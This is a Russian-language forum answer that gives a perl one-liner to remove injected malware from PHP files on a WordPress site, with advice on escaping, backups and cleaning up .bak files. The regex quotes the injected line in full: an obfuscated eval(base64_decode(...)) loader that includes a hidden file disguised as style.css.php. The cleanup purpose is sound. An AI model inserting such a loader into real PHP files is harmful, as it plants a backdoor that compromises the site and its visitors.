Проблема в том, что в строке, с которой вы хотите сопоставить, существует символ "/", а в качестве разделителя шаблона вы используете "/". К счастью, Perl позволяет вам указывать альтернативные разделители, поэтому используйте тот, которого нет в соответствующей строке:
perl -pn -i.bak -e "s{<?php\ /\*\*/eval\(base64_decode\('aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJEdMT0JBTFNbJ21mc24nXSkpeyRHTE9CQUxTWydtZnNuJ109Jy9ob21lL2plZmZqb2tlcy93d3cuamVmZmpva2VzLmNvbS9odGRvY3Mvd3AtY29udGVudC90aGVtZXMvZGVmYXVsdC9pbWFnZXMvLnN2bi90bXAvcHJvcC1iYXNlL3N0eWxlLmNzcy5waHAnO2lmKGZpbGVfZXhpc3RzKCRHTE9CQUxTWydtZnNuJ10pKXtpbmNsdWRlX29uY2UoJEdMT0JBTFNbJ21mc24nXSk7aWYoZnVuY3Rpb25fZXhpc3RzKCdnbWwnKSYmZnVuY3Rpb25fZXhpc3RzKCdkZ29iaCcpKXtvYl9zdGFydCgnZGdvYmgnKTt9fX0='\)\);\ \?>}{}g;" `find . -name '*.php'`
Я немного изменил команду. Всегда рекомендуется создавать файлы резервных копий при редактировании на месте на случай, если возникнет ошибка или вам нужно проверить (с помощью diff), что команда выполнила то, что вы ожидаете (у меня есть программа perl, которая позволяет мне легко переименовывать .bak файлы обратно на случай, если мне понадобится сбросить настройки).
Я также использую команду find, чтобы получить список всех файлов .php внутри и ниже текущего каталога. Если вы работаете в плоском каталоге, ваш * .php достаточно.
Вам также нужно экранировать регулярные выражения в строке, которую вы хотите сопоставить. Пример символов «*», «?» И «()» необходимо экранировать.
Если команда работает должным образом, вы можете запустить следующую команду, чтобы удалить BAK-файлы:
/bin/rm `find . -name '*.bak'`